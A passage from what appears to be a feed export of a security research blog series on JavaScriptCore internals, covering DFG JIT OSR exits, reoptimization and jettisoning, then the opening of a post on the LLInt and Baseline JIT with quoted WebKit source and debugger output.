</span></span><span style="display:flex;"><span>    AssemblyHelpers<span style="color:#f92672">::</span>Jump doneAdjusting <span style="color:#f92672">=</span> jit.jump();
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    tooFewFails.link(<span style="color:#f92672">&amp;</span>jit);
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// Adjust the execution counter such that the target is to only optimize after a while.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e">//... truncated for brevity 
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>}
</span></span></code></pre></div><p>In the snippet above, the function begins by emitting code that first gets a reference to the osrExitCounter for the CodeBlock and increments it by one which is stored in a temporary register <code>regT2</code>. Next the value of the <em>exit count</em> threshold for reoptimisation is then stored to a temporary register <code>regT1</code>. A branching instruction is emitted which checks if the OSR exit count for the CodeBlock is greater than that of the threshold count, then calls the JIT operation <code>operationTriggerReoptimizationNow</code>. Let&rsquo;s now run the test script in our debugger and set a breakpoint at <a href="https://github.com/WebKit/WebKit/blob/aca3664b36fc8d40c56fde98f4c11c219ce5daa5/Source/JavaScriptCore/dfg/DFGOperations.cpp#L3578"><code>triggerReoptimizationNow</code></a> which is invoked by <code>operationTriggerReoptimizationNow</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">triggerReoptimizationNow</span>(CodeBlock<span style="color:#f92672">*</span> codeBlock, CodeBlock<span style="color:#f92672">*</span> optimizedCodeBlock, OSRExitBase<span style="color:#f92672">*</span> exit)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// In order to trigger reoptimization, one of two things must have happened:
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e">// 1) We exited more than some number of times.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e">// 2) We exited and got stuck in a loop, and now we&#39;re exiting again.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#66d9ef">bool</span> didExitABunch <span style="color:#f92672">=</span> optimizedCodeBlock<span style="color:#f92672">-&gt;</span>shouldReoptimizeNow();
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">bool</span> didGetStuckInLoop <span style="color:#f92672">=</span>
</span></span><span style="display:flex;"><span>        (codeBlock<span style="color:#f92672">-&gt;</span>checkIfOptimizationThresholdReached() <span style="color:#f92672">||</span> didTryToEnterIntoInlinedLoops)
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&amp;&amp;</span> optimizedCodeBlock<span style="color:#f92672">-&gt;</span>shouldReoptimizeFromLoopNow();
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>didExitABunch <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">!</span>didGetStuckInLoop) {
</span></span><span style="display:flex;"><span>        dataLogLnIf(Options<span style="color:#f92672">::</span>verboseOSR(), <span style="color:#f92672">*</span>codeBlock, <span style="color:#e6db74">&#34;: Not reoptimizing &#34;</span>, <span style="color:#f92672">*</span>optimizedCodeBlock, <span style="color:#e6db74">&#34; because it either didn&#39;t exit enough or didn&#39;t loop enough after exit.&#34;</span>);
</span></span><span style="display:flex;"><span>        codeBlock<span style="color:#f92672">-&gt;</span>optimizeAfterLongWarmUp();
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    optimizedCodeBlock<span style="color:#f92672">-&gt;</span>jettison(Profiler<span style="color:#f92672">::</span>JettisonDueToOSRExit, CountReoptimization);
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>If the two conditions listed above (i.e. several OSR Exits and getting stuck in a loop), the optimised code is <em>jettisoned</em> with the call to <a href="https://github.com/WebKit/WebKit/blob/aca3664b36fc8d40c56fde98f4c11c219ce5daa5/Source/JavaScriptCore/bytecode/CodeBlock.cpp#L2184">CodeBlock::jettison</a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">void</span> CodeBlock<span style="color:#f92672">::</span>jettison(Profiler<span style="color:#f92672">::</span>JettisonReason reason, ReoptimizationMode mode, <span style="color:#66d9ef">const</span> FireDetail<span style="color:#f92672">*</span> detail)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// We want to accomplish two things here:
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e">// 1) Make sure that if this CodeBlock is on the stack right now, then if we return to it
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e">//    we should OSR exit at the top of the next bytecode instruction after the return.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e">// 2) Make sure that if we call the owner executable, then we shouldn&#39;t call this CodeBlock.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#if ENABLE(DFG_JIT)
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#66d9ef">if</span> (JITCode<span style="color:#f92672">::</span>isOptimizingJIT(jitType()))
</span></span><span style="display:flex;"><span>        jitCode()<span style="color:#f92672">-&gt;</span>dfgCommon()<span style="color:#f92672">-&gt;</span>clearWatchpoints();
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (reason <span style="color:#f92672">!=</span> Profiler<span style="color:#f92672">::</span>JettisonDueToOldAge) {
</span></span><span style="display:flex;"><span>        Profiler<span style="color:#f92672">::</span>Compilation<span style="color:#f92672">*</span> compilation <span style="color:#f92672">=</span> jitCode()<span style="color:#f92672">-&gt;</span>dfgCommon()<span style="color:#f92672">-&gt;</span>compilation.get();
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (UNLIKELY(compilation))
</span></span><span style="display:flex;"><span>            compilation<span style="color:#f92672">-&gt;</span>setJettisonReason(reason, detail);
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">// This accomplishes (1), and does its own book-keeping about whether it has already happened.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>jitCode()<span style="color:#f92672">-&gt;</span>dfgCommon()<span style="color:#f92672">-&gt;</span>invalidate()) {
</span></span><span style="display:flex;"><span>            <span style="color:#75715e">// We&#39;ve already been invalidated.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>            RELEASE_ASSERT(<span style="color:#66d9ef">this</span> <span style="color:#f92672">!=</span> replacement() <span style="color:#f92672">||</span> (vm.heap.isCurrentThreadBusy() <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">!</span>vm.heap.isMarked(ownerExecutable())));
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#66d9ef">this</span> <span style="color:#f92672">!=</span> replacement()) {
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">// This means that we were never the entrypoint. This can happen for OSR entry code
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#75715e">// blocks.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (alternative())
</span></span><span style="display:flex;"><span>        alternative()<span style="color:#f92672">-&gt;</span>optimizeAfterWarmUp();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// This accomplishes (2).
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    ownerExecutable()<span style="color:#f92672">-&gt;</span>installCode(vm, alternative(), codeType(), specializationKind());
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The function first determines the reason for jettison (in this is case it&rsquo;s due to OSR Exits) and then invalidates the optimised code generated by the DFG. It ensures that the CodeBlock is on the stack and finally calls <code>installCode</code> to install the Baseline JIT code. Enabling the flags <code>dumpDFGDisassembly</code> and <code>verboseOSR</code> on the command line prints information on the reason for jettison and tier code that future function calls will execute:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>jitMe<span style="color:#960050;background-color:#1e0010">#</span>Dsl1pz:[<span style="color:#ae81ff">0x7fffae3c4130</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffae3e5100</span>, BaselineFunctionCall, <span style="color:#ae81ff">15</span> (DidTryToEnterInLoop) (FTLFail)]<span style="color:#f92672">:</span> Entered reoptimize
</span></span><span style="display:flex;"><span>Jettisoning jitMe<span style="color:#960050;background-color:#1e0010">#</span>Dsl1pz:[<span style="color:#ae81ff">0x7fffae3c4260</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffae3c4130</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffae3e5100</span>, DFGFunctionCall, <span style="color:#ae81ff">15</span> (DidTryToEnterInLoop)] and counting reoptimization due to OSRExit.
</span></span><span style="display:flex;"><span>    Did invalidate jitMe<span style="color:#960050;background-color:#1e0010">#</span>Dsl1pz:[<span style="color:#ae81ff">0x7fffae3c4260</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffae3c4130</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffae3e5100</span>, DFGFunctionCall, <span style="color:#ae81ff">15</span> (DidTryToEnterInLoop)]
</span></span><span style="display:flex;"><span>    Did count reoptimization <span style="color:#66d9ef">for</span> jitMe<span style="color:#960050;background-color:#1e0010">#</span>Dsl1pz:[<span style="color:#ae81ff">0x7fffae3c4260</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffae3c4130</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffae3e5100</span>, DFGFunctionCall, <span style="color:#ae81ff">15</span> (DidTryToEnterInLoop)]
</span></span><span style="display:flex;"><span>jitMe<span style="color:#960050;background-color:#1e0010">#</span>Dsl1pz:[<span style="color:#ae81ff">0x7fffae3c4130</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffae3e5100</span>, BaselineFunctionCall, <span style="color:#ae81ff">15</span> (DidTryToEnterInLoop) (FTLFail)]<span style="color:#f92672">:</span> Optimizing after warm<span style="color:#f92672">-</span>up.
</span></span><span style="display:flex;"><span>jitMe<span style="color:#960050;background-color:#1e0010">#</span>Dsl1pz:[<span style="color:#ae81ff">0x7fffae3c4130</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffae3e5100</span>, BaselineFunctionCall, <span style="color:#ae81ff">15</span> (DidTryToEnterInLoop) (FTLFail)]<span style="color:#f92672">:</span> bytecode cost is <span style="color:#ae81ff">15.000000</span>, scaling execution counter by <span style="color:#ae81ff">1.072115</span> <span style="color:#f92672">*</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>Installing jitMe<span style="color:#960050;background-color:#1e0010">#</span>Dsl1pz:[<span style="color:#ae81ff">0x7fffae3c4130</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffae3e5100</span>, BaselineFunctionCall, <span style="color:#ae81ff">15</span> (DidTryToEnterInLoop) (FTLFail)]
</span></span><span style="display:flex;"><span>    Did install baseline version of jitMe<span style="color:#960050;background-color:#1e0010">#</span>Dsl1pz:[<span style="color:#ae81ff">0x7fffae3c4260</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffae3c4130</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffae3e5100</span>, DFGFunctionCall, <span style="color:#ae81ff">15</span> (DidTryToEnterInLoop)]
</span></span></code></pre></div><p>Once jettisoned, the bytecode will continue to run in the Baseline JIT until it tiers-up again into the DFG. The <a href="/posts/jsc-part3-dfg-jit/#tiering-up">tier-up mechanism</a> is similar to what we&rsquo;ve discussed at the start of this blog post. The main difference however is the updated tier-up threshold counts that need to be reached in order to trigger re-optimisation.</p>
<h1 id="conclusion">Conclusion</h1>
<p>This post explored the components that make up the DFG JIT tier in JavaScriptCore by understanding how the optimised graph is lowered to optimised machine code. The post also covered how execution transitions from the Baseline JIT to the DFG via OSR Entry and transitions from the DFG to a lower tier via OSR Exits which are causes due to failing speculation checks. This concludes our discussion on the DFG JIT.</p>
<p>Part VI of this blog series will dive into the details of the FTL (Faster Than Light) JIT engine the final execution tier in JavaScriptCore. The post will explore how the DFG tiers-up into the FTL, how the DFG IR is further optimised by this tier and transformed to additional FTL specific IRs, some of the key optimisation phases of the FTL and finally OSR Entry and Exit to and from this final tier.</p>
<p>As always, thank you for reading and if you have questions do reach out to the author <a href="https://twitter.com/amarekano">@amarekano</a> or <a href="https://twitter.com/Zon8Research">@Zon8Research</a> on Twitter. We would appriciate your feedback.</p>
<h1 id="appendix">Appendix</h1>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://doar-e.github.io/blog/2018/07/14/cve-2017-2446-or-jscjsglobalobjectishavingabadtime/#target-modifications">https://doar-e.github.io/blog/2018/07/14/cve-2017-2446-or-jscjsglobalobjectishavingabadtime/#target-modifications</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content>
        </item>
        
        <item>
            <title>JavaScriptCore Internals Part II: The LLInt and Baseline JIT</title>
            <link>https://zon8.re/posts/jsc-internals-part2-the-llint-and-baseline-jit/</link>
            <pubDate>Thu, 31 Dec 2020 00:00:00 +0000</pubDate>
            
            <guid>https://zon8.re/posts/jsc-internals-part2-the-llint-and-baseline-jit/</guid>
            <description>Introduction Historically, the LLInt and Baseline JIT haven&amp;rsquo;t been the source for may publicly disclosed security related bugs in JavaScriptCore but there are a few reasons why it felt necessary to dedicate an entire post solely to the LLInt and Baseline JIT. The main goal of this post and the blog series is to help researchers navigate the code base and to help speed up the analysis process when triaging bugs/crashes.</description>
            <content type="html"><![CDATA[<h1 id="introduction">Introduction</h1>
<p>Historically, the LLInt and Baseline JIT haven&rsquo;t been the source for may publicly disclosed security related bugs in JavaScriptCore but there are a few reasons why it felt necessary to dedicate an entire post solely to the LLInt and Baseline JIT. The main goal of this post and the blog series is to help researchers navigate the code base and to help speed up the analysis process when triaging bugs/crashes. Understanding how the LLInt and Baseline JIT work and the various components that aid in the functioning of these two tier will help speed up this analysis by helping one finding their bearings within the code base and narrowing the search space being able to skip over components that don&rsquo;t impact the bug/crash. The second reason to review these two tiers is to gain an appreciation for how code generation and execution flow is achieved for unoptimised bytecode. The design principles used by the LLInt and Baseline JIT are shared across the higher tiers and gaining an understanding of these principles makes for a gentle learning curve when exploring the DFG and FTL.</p>
<p><a href="/posts/jsc-internals-part1-tracing-js-source-to-bytecode/">Part I</a> of this blog series traced the journey from source code to bytecode and concluded by briefly discussing how bytecodes are passed to the LLInt and how the LLInt initiates execution. This post dives into the details on how bytecode is executed in the LLInt and how the Baseline JIT is invoked to optimise the bytecode. These are the first two tiers in JavaScriptCore and the stages of the execution pipeline that will be explored are shown in the slide<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> reproduced below:</p>
<p><img src="/images/jsc-part2/pipeline_stages.png" alt="pipeline-stages"></p>
<p>This blog post begins by exploring how the LLInt is constructed using a custom assembly called <em>offlineasm</em> and how one can debug and trace bytecode execution in this custom assembly. It also covers the working of the Baseline JIT and demonstrates how the LLInt determines when bytecode being executed is <em>hot code</em> and should be compiled and executed by the Baseline JIT. The LLInt and Baseline JIT are considered as profiling tiers and this post concludes with a quick introduction on the various profiling sources that the two tiers use. Part III dives into the internals of the Data Flow Graph (DFG) and how bytecode is optimised and generated by this JIT compiler.</p>
<h1 id="existing-work">Existing Work</h1>
<p>In addition to the resources mentioned in <a href="/posts/jsc-internals-part1-tracing-js-source-to-bytecode/#existing-work">Part I</a>, there are a couple of resources from that discuss several aspects of JavaScript code optimisation techniques, some of which will be covered in this post and posts that will follow.</p>
<p>The WebKit blog: <a href="https://webkit.org/blog/10308/speculation-in-javascriptcore/">Speculation in JavaScriptCore</a> is a magnum opus by Filip Pizlo that goes into the great detail of how speculative compilation is performed in JavaScriptCore and is a fantastic complementary resource to this blog series. The key areas that the WebKit blog discusses which will be relevant to our discussion here are the sections on <em>Control</em> and <em>Profiling</em>.</p>
<p>Another useful resource that will come in handy as you debug and trace the LLInt and Baseline JIT is the WebKit blog <a href="https://webkit.org/blog/6411/javascriptcore-csi-a-crash-site-investigation-story/">JavaScriptCore CSI:
A Crash Site Investigation Story</a>. This is also a good resource to get you started with debugging WebKit/JavaScriptCore crashes.</p>
<h1 id="llint">LLInt</h1>
<p>This section beings by introducing the LLInt and the custom assembly that is used to construct the LLInt. The LLInt was first introduced in WebKit back in 2012 with the following <a href="https://trac.webkit.org/changeset/108309/webkit">revision</a>. The revision comment below states the intent of why the LLInt was introduced.</p>
<blockquote>
<p>Implemented an interpreter that uses the JIT&rsquo;s calling convention. This
interpreter is called LLInt, or the Low Level Interpreter. JSC will now
will start by executing code in LLInt and will only tier up to the old
JIT after the code is proven hot.</p>
<p>LLInt is written in a modified form of our macro assembly. This new macro
assembly is compiled by an offline assembler (see offlineasm), which
implements many modern conveniences such as a Turing-complete CPS-based
macro language and direct access to relevant C++ type information
(basically offsets of fields and sizes of structs/classes).</p>
<p>Code executing in LLInt appears to the rest of the JSC world &ldquo;as if&rdquo; it
were executing in the old JIT. Hence, things like exception handling and
cross-execution-engine calls just work and require pretty much no
additional overhead.</p>
</blockquote>
<p>Essentially the LLInt loops over bytecodes and executes each bytecode based on what it&rsquo;s supposed to do and then moves onto the next bytecode instruction. In addition to bytecode execution, it also gathers profiling information about the bytecodes being executed and maintains counters that measure how often code was executed. Both these parameters (i.e. profiling data and execution counts) are crucial in aiding code optimisation and tiering up to the various JIT tiers via a technique called OSR (On Stack Replacement). The screenshot<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> below describes the Four JIT tiers and profiling data and OSRs propagate through the engine.</p>
<p><img src="/images/jsc-part2/profiling_and_osr.png" alt="profiling-and-osr"></p>
<p>The source code to the LLInt is located at <a href="https://github.com/WebKit/WebKit/tree/main/Source/JavaScriptCore/llint">JavaScriptCore/llint</a> and the starting point to this post&rsquo;s investigation will be the <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/llint/LLIntEntrypoint.h">LLIntEntrypoint.h</a> which is also the first instance where the LLInt was first encountered in <a href="/posts/jsc-internals-part1-tracing-js-source-to-bytecode/#execution">Part I</a>.</p>
<h2 id="recap">Recap</h2>
<p>Lets pick up from where <a href="/posts/jsc-internals-part1-tracing-js-source-to-bytecode/#execution">Part I</a> left off in <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/interpreter/Interpreter.cpp#L818"><code>Interpreter::executeProgram</code></a>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>CodeBlock<span style="color:#f92672">*</span> tempCodeBlock;
</span></span><span style="display:flex;"><span>Exception<span style="color:#f92672">*</span> error <span style="color:#f92672">=</span> program<span style="color:#f92672">-&gt;</span>prepareForExecution<span style="color:#f92672">&lt;</span>ProgramExecutable<span style="color:#f92672">&gt;</span>(vm, <span style="color:#66d9ef">nullptr</span>, scope, CodeForCall, tempCodeBlock);
</span></span></code></pre></div><p>The pointer to the <code>program</code> object which has a reference to the <code>CodeBlock</code> that now contains linked bytecode. The call to <code>prepareForExecution</code> through a series of calls ends up calling <code>setProgramEntrypoint(CodeBlock* codeBlock)</code>. This function as the name suggests is responsible for setting up the entry point into the LLInt to being executing bytecode. The call stack at this point should look similar to the one below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>libJavaScriptCore.so<span style="color:#ae81ff">.1</span><span style="color:#f92672">!</span>JSC<span style="color:#f92672">::</span>LLInt<span style="color:#f92672">::</span>setProgramEntrypoint(JSC<span style="color:#f92672">::</span>CodeBlock <span style="color:#f92672">*</span> codeBlock) (<span style="color:#f92672">/</span>home<span style="color:#f92672">/</span>amar<span style="color:#f92672">/</span>workspace<span style="color:#f92672">/</span>WebKit<span style="color:#f92672">/</span>Source<span style="color:#f92672">/</span>JavaScriptCore<span style="color:#f92672">/</span>llint<span style="color:#f92672">/</span>LLIntEntrypoint.cpp:<span style="color:#ae81ff">112</span>)
</span></span><span style="display:flex;"><span>libJavaScriptCore.so<span style="color:#ae81ff">.1</span><span style="color:#f92672">!</span>JSC<span style="color:#f92672">::</span>LLInt<span style="color:#f92672">::</span>setEntrypoint(JSC<span style="color:#f92672">::</span>CodeBlock <span style="color:#f92672">*</span> codeBlock) (<span style="color:#f92672">/</span>home<span style="color:#f92672">/</span>amar<span style="color:#f92672">/</span>workspace<span style="color:#f92672">/</span>WebKit<span style="color:#f92672">/</span>Source<span style="color:#f92672">/</span>JavaScriptCore<span style="color:#f92672">/</span>llint<span style="color:#f92672">/</span>LLIntEntrypoint.cpp:<span style="color:#ae81ff">161</span>)
</span></span><span style="display:flex;"><span>libJavaScriptCore.so<span style="color:#ae81ff">.1</span><span style="color:#f92672">!</span>JSC<span style="color:#f92672">::</span>setupLLInt(JSC<span style="color:#f92672">::</span>CodeBlock <span style="color:#f92672">*</span> codeBlock) (<span style="color:#f92672">/</span>home<span style="color:#f92672">/</span>amar<span style="color:#f92672">/</span>workspace<span style="color:#f92672">/</span>WebKit<span style="color:#f92672">/</span>Source<span style="color:#f92672">/</span>JavaScriptCore<span style="color:#f92672">/</span>runtime<span style="color:#f92672">/</span>ScriptExecutable.cpp:<span style="color:#ae81ff">395</span>)
</span></span><span style="display:flex;"><span>libJavaScriptCore.so<span style="color:#ae81ff">.1</span><span style="color:#f92672">!</span>JSC<span style="color:#f92672">::</span>ScriptExecutable<span style="color:#f92672">::</span>prepareForExecutionImpl(JSC<span style="color:#f92672">::</span>ScriptExecutable <span style="color:#f92672">*</span> <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">this</span>, JSC<span style="color:#f92672">::</span>VM <span style="color:#f92672">&amp;</span> vm, JSC<span style="color:#f92672">::</span>JSFunction <span style="color:#f92672">*</span> function, JSC<span style="color:#f92672">::</span>JSScope <span style="color:#f92672">*</span> scope, JSC<span style="color:#f92672">::</span>CodeSpecializationKind kind, JSC<span style="color:#f92672">::</span>CodeBlock <span style="color:#f92672">*&amp;</span> resultCodeBlock) (<span style="color:#f92672">/</span>home<span style="color:#f92672">/</span>amar<span style="color:#f92672">/</span>workspace<span style="color:#f92672">/</span>WebKit<span style="color:#f92672">/</span>Source<span style="color:#f92672">/</span>JavaScriptCore<span style="color:#f92672">/</span>runtime<span style="color:#f92672">/</span>ScriptExecutable.cpp:<span style="color:#ae81ff">432</span>)
</span></span><span style="display:flex;"><span>libJavaScriptCore.so<span style="color:#ae81ff">.1</span><span style="color:#f92672">!</span>JSC<span style="color:#f92672">::</span>ScriptExecutable<span style="color:#f92672">::</span>prepareForExecution<span style="color:#f92672">&lt;</span>JSC<span style="color:#f92672">::</span>ProgramExecutable<span style="color:#f92672">&gt;</span>(JSC<span style="color:#f92672">::</span>ScriptExecutable <span style="color:#f92672">*</span> <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">this</span>, JSC<span style="color:#f92672">::</span>VM <span style="color:#f92672">&amp;</span> vm, JSC<span style="color:#f92672">::</span>JSFunction <span style="color:#f92672">*</span> function, JSC<span style="color:#f92672">::</span>JSScope <span style="color:#f92672">*</span> scope, JSC<span style="color:#f92672">::</span>CodeSpecializationKind kind, JSC<span style="color:#f92672">::</span>CodeBlock <span style="color:#f92672">*&amp;</span> resultCodeBlock) (<span style="color:#f92672">/</span>home<span style="color:#f92672">/</span>amar<span style="color:#f92672">/</span>workspace<span style="color:#f92672">/</span>WebKit<span style="color:#f92672">/</span>Source<span style="color:#f92672">/</span>JavaScriptCore<span style="color:#f92672">/</span>bytecode<span style="color:#f92672">/</span>CodeBlock.h:<span style="color:#ae81ff">1086</span>)
</span></span><span style="display:flex;"><span>libJavaScriptCore.so<span style="color:#ae81ff">.1</span><span style="color:#f92672">!</span>JSC<span style="color:#f92672">::</span>Interpreter<span style="color:#f92672">::</span>executeProgram(JSC<span style="color:#f92672">::</span>Interpreter <span style="color:#f92672">*</span> <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">this</span>, <span style="color:#66d9ef">const</span> JSC<span style="color:#f92672">::</span>SourceCode <span style="color:#f92672">&amp;</span> source, JSC<span style="color:#f92672">::</span>JSObject <span style="color:#f92672">*</span> thisObj) (<span style="color:#f92672">/</span>home<span style="color:#f92672">/</span>amar<span style="color:#f92672">/</span>workspace<span style="color:#f92672">/</span>WebKit<span style="color:#f92672">/</span>Source<span style="color:#f92672">/</span>JavaScriptCore<span style="color:#f92672">/</span>interpreter<span style="color:#f92672">/</span>Interpreter.cpp:<span style="color:#ae81ff">816</span>)
</span></span><span style="display:flex;"><span>...
</span></span></code></pre></div><p>Within the function <code>setProgramEntrypoint</code> exists a call to <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/llint/LLIntData.h#L159"><code>getCodeRef</code></a> which attempts to get a reference pointer to the executable address for opcode <code>llint_program_prologue</code>. This this reference pointer is where the interpreter (LLInt) beings execution for the <code>CodeBlock</code>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>ALWAYS_INLINE MacroAssemblerCodeRef<span style="color:#f92672">&lt;</span>tag<span style="color:#f92672">&gt;</span> getCodeRef(OpcodeID opcodeID)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> MacroAssemblerCodeRef<span style="color:#f92672">&lt;</span>tag<span style="color:#f92672">&gt;::</span>createSelfManagedCodeRef(getCodePtr<span style="color:#f92672">&lt;</span>tag<span style="color:#f92672">&gt;</span>(opcodeID));
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Once a reference pointer to <code>llint_program_prologue</code> has been retrieved, a <code>NativeJITCode</code> object is created which stores this code pointer and then initialises the <code>codeBlock</code> with a reference to the <code>NativeJITCode</code> object.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>std<span style="color:#f92672">::</span>call_once(onceKey, [<span style="color:#f92672">&amp;</span>] {
</span></span><span style="display:flex;"><span>        jitCode <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> NativeJITCode(getCodeRef<span style="color:#f92672">&lt;</span>JSEntryPtrTag<span style="color:#f92672">&gt;</span>(llint_program_prologue), JITType<span style="color:#f92672">::</span>InterpreterThunk, Intrinsic<span style="color:#f92672">::</span>NoIntrinsic, JITCode<span style="color:#f92672">::</span>ShareAttribute<span style="color:#f92672">::</span>Shared);
</span></span><span style="display:flex;"><span>    });
</span></span><span style="display:flex;"><span>codeBlock<span style="color:#f92672">-&gt;</span>setJITCode(makeRef(<span style="color:#f92672">*</span>jitCode));
</span></span></code></pre></div><p>Finally, the linked bytecode is ready to execute with a call to <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/interpreter/Interpreter.cpp#L837"><code>JITCode::execute</code></a>. The function is as follows:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>ALWAYS_INLINE JSValue JITCode<span style="color:#f92672">::</span>execute(VM<span style="color:#f92672">*</span> vm, ProtoCallFrame<span style="color:#f92672">*</span> protoCallFrame)
